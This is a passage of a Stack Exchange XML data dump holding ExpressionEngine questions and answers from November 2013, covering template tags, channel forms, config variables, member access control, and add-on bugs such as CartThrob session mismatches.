3}&amp;lt;h1&amp;gt;{event_title}&amp;lt;/h1&amp;gt;{/if}&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-07T02:44:54.060" LastActivityDate="2013-11-07T02:44:54.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15516" PostTypeId="2" ParentId="15501" CreationDate="2013-11-07T02:37:26.880" Score="1" Body="&lt;p&gt;Think I might be missing something regarding the maintaining of two copies of the form but as for the parsing issue. If the channel:form tag is parsing first and you need it to parse it after why not put it in an embeded template call. embeded templates are parsed after the rest of the regular template.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-11-07T02:37:26.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15517" PostTypeId="2" ParentId="15501" CreationDate="2013-11-07T02:38:14.097" Score="2" Body="&lt;p&gt;One option would be to continue with setting the Stash app_id variable like you are and then embed the form (either Stash embed or EE), then use the app_id variable in the channel:form parameters in the embed. That keeps you from duplicate forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would depend on your url setup, but you could redirect to the current form page with the found entry id as an additional url segment. Something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;CHANNEL&quot; author_id=&quot;{logged_in_member_id}&quot; limit=&quot;1&quot; status=&quot;not Closed&quot; dynamic=&quot;no&quot;}&#xA;    {if segment_3 == &quot;&quot; AND entry_id != &quot;&quot;}{redirect=&quot;TEMPLATE_GROUP/TEMPLATE/{entry_id}&quot;}{/if}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:form &#xA;    channel=&quot;CHANNEL&quot; &#xA;    entry_id=&quot;{segment_3}&quot;&#xA;    author_only=&quot;yes&quot;&#xA;    return=&quot;TEMPLATE_GROUP/TEMPLATE/ENTRY_ID/success&quot; &#xA;}&#xA;     etc….&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-11-07T02:38:14.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15518" PostTypeId="2" ParentId="15463" CreationDate="2013-11-07T02:45:40.877" Score="1" Body="&lt;p&gt;Untested answer here, but just a suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to be able to show a single entry url but also have a paginated listing on the same page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe from the initial listing, say /archive/P40,&#xA;you could create links using &lt;code&gt;{title_permalink='archive/single'}/{segment_2}&lt;/code&gt; or &lt;code&gt;/archive/single/{url_title}/{segment_2}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or links on /archive/category/foo/P40 you'd do &lt;code&gt;{title_permalink='archive/single'}/category/{segment_3}/{segment_4}&lt;/code&gt; or &lt;code&gt;/archive/single/{url_title}/category/{segment_3}/{segment_4}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on your single entry article you'd use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot; ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for your listing - to be honest I don't know if it'll pick it up automagically from the url - but you could use &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; to help out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;{segment_4_category_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-11-07T02:45:40.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15519" PostTypeId="2" ParentId="7236" CreationDate="2013-11-07T02:54:39.790" Score="1" Body="&lt;p&gt;Per comment from add-on developer team member (Lisa), upgrading is the solution.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-07T02:54:39.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15520" PostTypeId="1" CreationDate="2013-11-07T03:05:01.043" Score="1" ViewCount="41" Body="&lt;p&gt;I am using ExpressionEngine 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a remember input box in my login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even if it is unchecked, I still login in immmediately to my site even if I closed the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this fixed?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-07T03:33:33.707" Title="Remember Me Bug" Tags="|remember-me|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15521" PostTypeId="2" ParentId="15488" CreationDate="2013-11-07T03:09:36.107" Score="5" Body="&lt;p&gt;You can do this if you're willing to programmatically manipulate hidden configuration variables in your config file ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;noreferrer&quot;&gt;Focus Labs Master Config&lt;/a&gt; style configs, so I have this in my dev config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['template_debugging']  = 'y';&#xA;$env_config['show_profiler']       = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, obviously, you can set those to 'n' by-hand to turn off the debugger and profiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, you also could set those values programmatically, inside of your own PHP conditional. In pseudo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['template_debugging']  = 'y';&#xA;$env_config['show_profiler']       = 'y';&#xA;&#xA;if ($currentURL === $myAjaxURL) {&#xA;  $env_config['template_debugging']  = 'n';&#xA;  $env_config['show_profiler']       = 'n';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do manipulate site configs programmatically. It's obviously a place where you can accidentally knock your site offline, but if you are sufficiently careful and/or rube-goldberg-ish, the config files are just another place where you can program things via PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't use the Focus Labs Master Config style configs, you still can do this kind of thing in your config.php. You'll just use the proper EE hidden variable syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_debugging']  = 'n';&#xA;$config['show_profiler']       = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One caveat, though: I don't know if EE will overwrite your code in the config.php if you go into the System Preferences (or, other admin) via the CP. You can always set your config.php permissions to read-only when you're doing this testing, to prevent EE overwriting it, if that does become an issue.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-07T03:09:36.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15522" PostTypeId="2" ParentId="15520" CreationDate="2013-11-07T03:33:33.707" Score="1" Body="&lt;p&gt;This isn't a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The users CP session won't clear when you close the browser... it will clear when the session expires (which I think by default is 1 hour or 3600 seconds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make this longer or shorter by setting &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#cp-session-ttl&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;cp_session_ttl&lt;/strong&gt;&lt;/a&gt;&quot; in your config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_ttl'] = 3600; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number is in seconds.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-07T03:33:33.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15523" PostTypeId="2" ParentId="15220" CreationDate="2013-11-07T03:37:53.317" Score="0" Body="&lt;p&gt;I'm using Wygwam 3.2.1 and EE 2.7.2. By default Wygwam shows cell borders. I'd suggest upgrading to the latest version of Wygwam and EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIJK8.png&quot; alt=&quot;Wygwam 3.2.1 table&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-07T03:37:53.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15524" PostTypeId="2" ParentId="15503" CreationDate="2013-11-07T03:42:03.080" Score="1" Body="&lt;p&gt;I don't think you'd want to do this on the Publish Tab. It would be better for the user to save the entry and be presented with your new FB functionality on the subsequent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#entry-submission-absolute-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;entry_submission_absolute_end&lt;/strong&gt;&lt;/a&gt; hook is probably what you'll want to use. It gives you access to the following specific to the entry being saved: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entry_id (int) – Entry ID of submitted entry&#xA;$meta (array) – Entry’s metadata (channel_id, entry_date, i.e. fields for exp_channel_titles)&#xA;$data (array) – Entry’s field data&#xA;$view_url (string) – Control Panel URL to view submitted entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also find some helpful addon development resource links on this question:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15167/tools-for-learning-expressionengine-addon-development&quot;&gt;Tools for learning ExpressionEngine addon development&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-11-07T03:42:03.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15525" PostTypeId="2" ParentId="15496" CreationDate="2013-11-07T03:54:28.797" Score="1" Body="&lt;p&gt;I'm a little confused as to your channel and channel fields setup, but think you might be missing something if I am understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;person&lt;/code&gt; is a relationship field then you should add the &lt;code&gt;person&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;    {exp:channel:entries channel=&quot;videos&quot;}&#xA;    &amp;lt;Video&amp;gt;&#xA;        {person}&#xA;        &amp;lt;Subject&amp;gt;{person:title}&amp;lt;/Subject&amp;gt;&#xA;        &amp;lt;Affiliation&amp;gt;{person:affiliation}&amp;lt;/Affiliation&amp;gt;&#xA;        {/person}&#xA;        &amp;lt;RelatedVideos&amp;gt;&#xA;            {related}&#xA;            &amp;lt;VideoId&amp;gt;{related:person:title}&amp;lt;/VideoId&amp;gt;&#xA;            {/related}&#xA;        &amp;lt;/RelatedVideos&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-07T03:54:28.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15526" PostTypeId="1" AcceptedAnswerId="15554" CreationDate="2013-11-07T04:08:52.327" Score="3" ViewCount="1715" Body="&lt;p&gt;I'm setting up a membership site where registered members can access video pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The access to video pages needs to be done on a per member level. This will be done manually by the administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example certain members will have access to video page 1 and other members will have access to video page 2 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of setting this up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I need to setup individual member groups?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-11-07T18:55:25.817" Title="Allow members access to certain pages" Tags="|members|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15527" PostTypeId="2" ParentId="15526" CreationDate="2013-11-07T04:23:34.380" Score="2" Body="&lt;p&gt;EE can control access based on member groups, most directly by setting permissions on specific templates. These are set in the control panel under Design / Template Manager and then the Access link per template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you could have templates for video1, video2, etc., and then set the Access per template set to specific groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have members who need access to multiple pages--e.g., as if they were in multiple groups, this is not possible with EE member groups. A user can be assigned to only one EE member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case--or, if you have a large number of members such that you'd need too large a number of groups, then you'd maybe use groups simply to have a &quot;Members&quot; group to distinguish between the public/guests and members. All of your members would be in that Members group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then you'd need to write custom code on your video page(s) to restrict access based on some data in each member's profile. You'd essentially be writing a custom member access manager, albeit it could pretty simple depending on how many different groups you have and how people are assigned to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to do this--and lots of people do do this. I think using add-ons like either &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt; or &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; would be helpful. There are other add-ons like this, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm doing something like this now on a site, using Profile:Edit, which gives each user a regular channel entry. I then assign categories to those user entries that are used to restrict what content they see. I've used Solspace User in the past for something similar.) &lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-07T04:23:34.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15528" PostTypeId="2" ParentId="15526" CreationDate="2013-11-07T04:30:04.620" Score="2" Body="&lt;p&gt;At the most basic level, yes, you will need to set up unique member groups in EE. Then in your template add some conditionals. Modify the group_id numbers as needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id != &quot;1&quot; OR logged_in_group_id != &quot;6&quot; OR logged_out}&#xA;  {redirect=&quot;/&quot;}&#xA;{/if}&#xA;{if logged_in_group_id == &quot;1&quot; OR logged_in_group_id == &quot;6&quot;}&#xA;  show this page&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd even suggest getting the IfElse add-on and do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;  {if logged_in_group_id == &quot;1&quot; OR logged_in_group_id == &quot;6&quot;}&#xA;    {!-- page content --}&#xA;  {if:else}&#xA;    {redirect=&quot;/&quot;} {!-- or whatever else you want to happen --}&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-07T04:30:04.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15530" PostTypeId="1" CreationDate="2013-11-07T07:01:55.957" Score="0" ViewCount="134" Body="&lt;p&gt;When using channel forms, &lt;code&gt;{exp:channel:form}&lt;/code&gt;, how do I get the selected entry of a specific relationship field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want to use custom fields because it can't be used more than once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also cannot use the code that shows related entries for this in &lt;code&gt;{exp:channel:form}&lt;/code&gt;. I don't know why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field}&#xA;   {field:name}&#xA;{/field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, is there any simple way to do this? I will be very surprised if this is not a feature.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-11-07T07:16:17.857" LastActivityDate="2013-11-07T07:16:17.857" Title="Channel Forms - Get selected relationship entry" Tags="|relationships|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15531" PostTypeId="2" ParentId="15400" CreationDate="2013-11-07T07:41:34.140" Score="1" Body="&lt;p&gt;This was a bug in Store 2.0.4 if you upgrade to Store 2.0.5 this should fix the problem for you. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-07T07:41:34.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15532" PostTypeId="2" ParentId="15458" CreationDate="2013-11-07T10:07:21.553" Score="2" Body="&lt;p&gt;I guess you know this, but you shouldn't set up your production sites like that. Ideally it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.git&#xA;.gitignore&#xA;system/&#xA;third_party/&#xA;templates/&#xA;webroot/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want any expressionengine files, addon files, or .git files to be accessible via webroot, or even set up some system to make them unavailable - the easiest and safest is just to keep them outside the webroot.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-11-07T10:07:21.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15533" PostTypeId="2" ParentId="15242" CreationDate="2013-11-07T10:11:01.787" Score="1" Body="&lt;p&gt;You'll need to add a name attribute your submit button. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Checkout with Paypal&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then Store knows that you're looking to finish the checkout and make payment.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-11-07T10:11:01.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15535" PostTypeId="2" ParentId="14317" CreationDate="2013-11-07T11:47:09.223" Score="0" Body="&lt;p&gt;This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;relation_lovforslag&quot; name=&quot;relation_lovforslag[][data][]&quot; value=&quot;&amp;lt;?php echo $entry_id; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2332" LastEditorUserId="55" LastEditDate="2013-11-07T13:09:02.587" LastActivityDate="2013-11-07T13:09:02.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15536" PostTypeId="1" AcceptedAnswerId="15551" CreationDate="2013-11-07T12:04:49.917" Score="1" ViewCount="65" Body="&lt;p&gt;I've just updated to Store 2.0.5 and have noticed that item information is missing from the order details admin screen - see image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item information is shown as expected in my order invoice template, using the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag, however it's missing from the admin screen, exported order PDF and email templates (within the &lt;code&gt;{items}&lt;/code&gt; tag pair).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other order details in the admin screen are correct (billing and shipping details, order total etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume this is a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I forgot to mention, this applies to all orders - those in the system prior to updating to Store 2.0.5, and new orders placed after updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KZ1I1.png&quot; alt=&quot;Order details view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1731" LastEditorUserId="1731" LastEditDate="2013-11-07T12:20:52.610" LastActivityDate="2013-11-07T18:35:28.363" Title="Item information missing from order details view" Tags="|expresso-store|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15537" PostTypeId="1" AcceptedAnswerId="23814" CreationDate="2013-11-07T12:35:41.700" Score="1" ViewCount="528" Body="&lt;p&gt;On the last couple of EE upgrades I've received a PHP error regarding MB_ENABLED:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Use of undefined constant MB_ENABLED - assumed 'MB_ENABLED'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Encrypt.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 367&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is repeated for each instance of &lt;code&gt;MB_ENABLED&lt;/code&gt; in the system/codeigniter/system/libraries/Encrypt.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wrap each instance of &lt;code&gt;MB_ENABLED&lt;/code&gt; in single quotes then it resolves the issue but having to do this on each upgrade is a little annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be &lt;a href=&quot;http://ellislab.com/forums/viewthread/238342/&quot; rel=&quot;nofollow&quot;&gt;mentioned on the EllisLab forums&lt;/a&gt; also but the solution is again to modify core files. Is this a bug? Has anyone encountered this issue in upgrading recently?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-19T19:06:44.367" Title="EE Upgrade Issue: MB_ENABLED" Tags="|error|upgrade|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15538" PostTypeId="1" CreationDate="2013-11-07T13:18:06.573" Score="4" ViewCount="168" Body="&lt;p&gt;I have a restricted site, where users have to login to see any content. The content they are shown is restricted by their member id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, each entry is assigned to a specific member. I'm using 'VMG Chosen Member' to make this easier in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Showing the relevant entries is working fine and I'm using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fsr&quot; disable=&quot;categories|trackbacks&quot; dynamic=&quot;off&quot; orderby=&quot;fsr-datefield&quot; sort=&quot;desc&quot;}&#xA;{if logged_in_member_id == fsr-customer}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-datefield format=&quot;%Y-%m-%d&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-system-name}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-call-type}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{fsr-pdf}&quot; class=&quot;btn&quot; target=&quot;_blank&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to apply the same limitations to search/results but when I do, it returns the correct results but if there are no results for that member but there are for other members then I get blank content and cannot redirect to the 'no results' template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my search results code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;{if logged_in_member_id == fsr-customer}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-datefield format=&quot;%Y-%m-%d&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-system-name}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-call-type}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{fsr-pdf}&quot; class=&quot;btn&quot; target=&quot;_blank&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd ideally just restrict the search or search results by member id, but that does't appear to be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this even make any sense?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas? I'm really rusty with EE btw, so please be gentle :)&lt;/p&gt;&#xA;" OwnerUserId="2299" LastActivityDate="2015-03-25T16:42:15.680" Title="Restricting search or search results to the logged in member's id" Tags="|members|search|no-results|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15539" PostTypeId="2" ParentId="15537" CreationDate="2013-11-07T14:08:15.763" Score="2" Body="&lt;p&gt;I have never seen this. I'm guessing there is something in your environment that EE doesn't like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a PyroCMS thread which mentions this error. That CMS is (was) build on CodeIgniter. It mentions in that thread that you need to have the iconv extension installed. This extension is enabled by default in recent versions of PHP, so that would likely make this an uncommon error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.pyrocms.com/discussion/comment/20605/#Comment_20605&quot; rel=&quot;nofollow&quot;&gt;https://forum.pyrocms.com/discussion/comment/20605/#Comment_20605&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your PHPinfo to see if this extension has been enabled.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2013-11-07T14:08:15.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15541" PostTypeId="1" AcceptedAnswerId="16862" CreationDate="2013-11-07T15:29:14.400" Score="2" ViewCount="351" Body="&lt;p&gt;&lt;strong&gt;Our setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were previously running a load balancer with a 4gb cloud server and 4gb DB server on the Rackspace Cloud. We were using Ubuntu 10.04 + PHP 5.3.2, EE 2.7.2 + Cartthrob 2.4. Everything was running smoothly on both the EE and CT side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We recently added additional, identical servers to the load balancer (total of 3) and upgraded to PHP 5.3.27 on Ubuntu 12.04. Nothing has changed with our EE or CT code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On our transaction page, we use CT Ajax calls to add to cart and checkout without the user leaving the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Issue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since moving to the new servers, no transactions have been processed.  We did some digging and found via the response headers that values were being added to the cart; however on the checkout request, the response returned a exp_cartthrob_session_id instead of exp_session_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this mismatch, the system thinks the cart is empty and doesn't allow a transaction to process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using a browser that has previously processed a transaction and has cookies stored, we're able to make a sale successfully. When logged in, transactions process successfully. It only returns a cart empty response on machines that have cookies cleared or are in an incognito window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What We've Tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Looked through possible XID issues, but those appear to be updating successfully. &lt;/li&gt;&#xA;&lt;li&gt;Checked the db and confirmed a mismatch in session ids: 3 are being created, 2 of which match, and the 3rd that happens on checkout doesn't match. &lt;/li&gt;&#xA;&lt;li&gt;Confirmed that all of our php config is identical to the old server.  &lt;/li&gt;&#xA;&lt;li&gt;Tried multiple fingerprinting methods and cleared out all existing sessions.&lt;/li&gt;&#xA;&lt;li&gt;All tests on old server are successfully processed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: 11.18.2013&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Works locally on os x lion + php 5.3.14 &amp;amp; 5.4.4&lt;/li&gt;&#xA;&lt;li&gt;Breaks consistently on dev server with ubuntu 12.04 + php 5.3.27 OR php 5.4.21&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After further digging, it appears that our sessions/cookies aren't being properly set.  They appear in as a response cookie, but never as a request cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We setup a non-ajax form to add to cart + checkout, and found that items are never being added to the cart.  In the exp_cartthrob_sessions table, a new row is added on each attempted add to cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because CT runs all commands through XSS filtering and ignores the EE global config, we believe there's a possible issue with the xss filtering of cookies. Our current theory is that the filter function is stripping out needed characters, causing a session mismatch, thus creating a new session. &#xA;&lt;em&gt;See similar issue: &lt;a href=&quot;http://ellislab.com/forums/viewthread/237467/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/237467/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It seems that the issue is only present on Ubuntu 12.04&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditDate="2013-11-18T16:28:35.453" 